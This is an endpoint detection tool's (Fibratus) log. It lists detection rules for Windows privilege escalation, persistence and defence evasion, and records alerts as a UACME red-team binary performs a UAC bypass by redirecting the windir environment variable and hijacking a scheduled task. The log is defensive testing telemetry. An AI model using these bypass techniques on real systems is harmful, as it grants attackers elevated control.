C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-12-05T15:55:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-12-05T15:55:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-12-05T15:55:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-12-05T15:55:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-12-05T15:55:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-05T15:55:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-12-05T15:55:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-12-05T15:55:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-05T15:55:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-05T15:55:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-05T15:55:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-05T15:55:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-12-05T15:55:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-12-05T15:55:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-05T15:55:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-05T15:55:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-05T15:55:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-12-05T15:55:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-12-05T15:55:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-12-05T15:55:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-12-05T15:55:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-05T15:55:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-12-05T15:55:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-12-05T15:55:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-12-05T15:55:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-12-05T15:55:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-12-05T15:55:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-05T15:55:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-12-05T15:55:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-12-05T15:55:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-12-05T15:55:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-12-05T15:55:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-12-05T15:55:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_exploitation_via_common_log_file_system.yml source=config/filters.go:355 +time=2025-12-05T15:55:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_directory_creation.yml source=config/filters.go:355 +time=2025-12-05T15:55:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_environment_variable_manipulation.yml source=config/filters.go:355 +time=2025-12-05T15:55:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-12-05T15:55:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_elevated_ifileoperation_com_interface.yml source=config/filters.go:355 +time=2025-12-05T15:55:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-05T15:55:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:55:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:55:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml source=config/filters.go:355 +time=2025-12-05T15:55:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:55:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_diskcleanup_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:55:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-12-05T15:55:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:55:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_elevated_internet_explorer_add-on_installer_com_interface.yml source=config/filters.go:355 +time=2025-12-05T15:55:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-12-05T15:55:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-05T15:55:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:55:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:55:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-12-05T15:55:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-12-05T15:55:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-12-05T15:55:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-12-05T15:55:09+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:152 +time=2025-12-05T15:55:09+01:00 level=info msg=bootstrapping with pid 1768. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-05T15:55:09+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ systray=>[ sound=>true enabled=>false quiet-mode=>false] slack=>[ enabled=>false] eventlog=>[ enabled=>true verbose=>true] mail=>[ enabled=>false to=>[] content-type=>text/html port=>25 use-template=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-handles=>false serialize-threads=>false serialize-pe=>false serialize-envs=>true serialize-images=>false] + eventsource .................... [ enable-threadpool=>false enable-image=>true enable-thread=>true stack-enrichment=>true enable-mem=>false flush-interval=>1s blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-net=>true enable-handle=>false enable-vamap=>true enable-audit-api=>true min-buffers=>16 enable-registry=>true enable-dns=>false buffer-size=>512 max-buffers=>36 enable-fileio=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[] enabled=>true] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-backups=>15 level=>info formatter=>text max-size=>100 max-age=>0 log-stdout=>true] + output ......................... [ elasticsearch=>[ healthcheck-interval=>10s index-name=>fibratus flush-period=>1s enabled=>false sniff=>false template-name=>fibratus servers=>[http://127.0.0.1:9200] gzip-compression=>false healthcheck=>true healthcheck-timeout=>5s bulk-workers=>1 trace-log=>false timeout=>5s] http=>[ method=>POST enable-gzip=>false timeout=>5s tls-insecure-skip-verify=>false endpoints=>[] serializer=>json enabled=>false] amqp=>[ delivery-mode=>transient url=>amqp://localhost:5672 routing-key=>fibratus vhost=>/ timeout=>5s durable=>false enabled=>false exchange-type=>topic passive=>false tls-insecure-skip-verify=>false exchange=>fibratus] eventlog=>[ level=>info enabled=>false] console=>[ format=>pretty enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} +]] + pe ............................. [ read-sections=>false read-resources=>false enabled=>false excluded-images=>[svchost.exe] read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ params=>[] enabled=>false] rename=>[ enabled=>false] tags=>[ enabled=>false] trim=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ excluded-procs=>[] excluded-files=>[] skip-allocs=>false enabled=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-mmaps=>false skip-files=>false scan-timeout=>10s skip-registry=>false fastscan=>true] source=bootstrap/bootstrap.go:187 +time=2025-12-05T15:55:09+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-12-05T15:55:12+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-12-05T15:55:27+01:00 level=info msg=sending alert: [Fake system root environment variable manipulation]. Text: Event(s): + Seq: 10360162 + Pid: 5432 + Tid: 9628 + Type: RegSetValue + CPU: 2 + Name: RegSetValue + Category: registry + Description: + Host: archrabbit + Timestamp: 2025-12-05 15:55:20.445603 +0100 CET + Params: data➜ C:\Fibratus\redteam\UACME\Source\Akagi, key_handle➜ ffffc38f3e23a300, key_path➜ HKEY_CURRENT_USER\Environment\windir, status➜ Success, value_type➜ REG_SZ + Metadata: rule.name: Fake system root environment variable manipulation, tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/ + + Pid: 5432 + Ppid: 10124 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 69 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 69] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:dd6677ec-fed6-4e88-b3e6-48cea7b377da WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-12-05T15:55:30+01:00 level=info msg=sending alert: [UAC bypass via Program Compatibility Assistant scheduled task hijack]. Text: Event(s): + Seq: 10373730 + Pid: 13712 + Tid: 16580 + Type: CreateProcess + CPU: 4 + Name: CreateProcess + Category: process + Description: + Host: archrabbit + Timestamp: 2025-12-05 15:55:23.8381472 +0100 CET + Params: cmdline➜ 2, directory_table_base➜ 34f75000, domain➜ ARCHRABBIT, exe➜ C:\Fibratus\redteam\UACME\Source\Akagi\9_BaaEIkpFKCO.exe, exit_status➜ Success, flags➜ , kproc➜ ffff978f7355a080, name➜ 9_BaaEIkpFKCO.exe, pid➜ 8288, ppid➜ 13712, real_ppid➜ 13712, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-12-05 15:55:23.8381472 +0100 CET, token_elevation_type➜ FULL, token_integrity_level➜ HIGH, token_is_elevated➜ true, username➜ nedo + Metadata: rule.seq.link: 1764946764356315872, rule.name: UAC bypass via Program Compatibility Assistant scheduled task hijack, tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/ + + Pid: 13712 + Ppid: 812 + Name: taskhostw.exe + Parent name: svchost.exe + Cmdline: taskhostw.exe + Parent cmdline: C:\WINDOWS\system32\svchost.exe -k netsvcs -p -s Schedule + Exe: C:\WINDOWS\System32\taskhostw.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: [taskhostw.exe] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-12-05T15:55:43+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-05T15:55:43+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-12-05T15:55:43+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-12-05T15:56:11+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:155 +time=2025-12-05T15:56:11+01:00 level=info msg=bootstrapping with pid 7388. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-05T15:56:11+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ eventlog=>[ verbose=>true enabled=>true] systray=>[ quiet-mode=>false enabled=>false sound=>true] slack=>[ enabled=>false] mail=>[ content-type=>text/html use-template=>true port=>25 enabled=>false to=>[]]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-envs=>true serialize-threads=>false serialize-handles=>false serialize-images=>false serialize-pe=>false] + eventsource .................... [ blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-fileio=>true stack-enrichment=>true min-buffers=>16 buffer-size=>512 enable-vamap=>true enable-thread=>true enable-registry=>true enable-dns=>false flush-interval=>1s enable-audit-api=>true enable-image=>true enable-net=>true enable-threadpool=>false max-buffers=>36 enable-handle=>false enable-mem=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[] enabled=>true] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-backups=>15 max-age=>0 max-size=>100 formatter=>text log-stdout=>true level=>info] + output ......................... [ eventlog=>[ level=>info enabled=>false] http=>[ enabled=>false endpoints=>[] method=>POST enable-gzip=>false timeout=>5s tls-insecure-skip-verify=>false serializer=>json] elasticsearch=>[ template-name=>fibratus gzip-compression=>false bulk-workers=>1 healthcheck-timeout=>5s enabled=>false sniff=>false servers=>[http://127.0.0.1:9200] healthcheck-interval=>10s index-name=>fibratus trace-log=>false flush-period=>1s timeout=>5s healthcheck=>true] amqp=>[ exchange=>fibratus routing-key=>fibratus tls-insecure-skip-verify=>false exchange-type=>topic delivery-mode=>transient durable=>false vhost=>/ url=>amqp://localhost:5672 passive=>false timeout=>5s enabled=>false] console=>[ format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true]] + pe ............................. [ excluded-images=>[svchost.exe] read-resources=>false read-symbols=>false enabled=>false read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] remove=>[ params=>[] enabled=>false] tags=>[ enabled=>false] replace=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ skip-allocs=>false excluded-procs=>[] fastscan=>true scan-timeout=>10s skip-files=>false enabled=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-mmaps=>false excluded-files=>[] skip-registry=>false] source=bootstrap/bootstrap.go:187 +time=2025-12-05T15:56:11+01:00 level=info 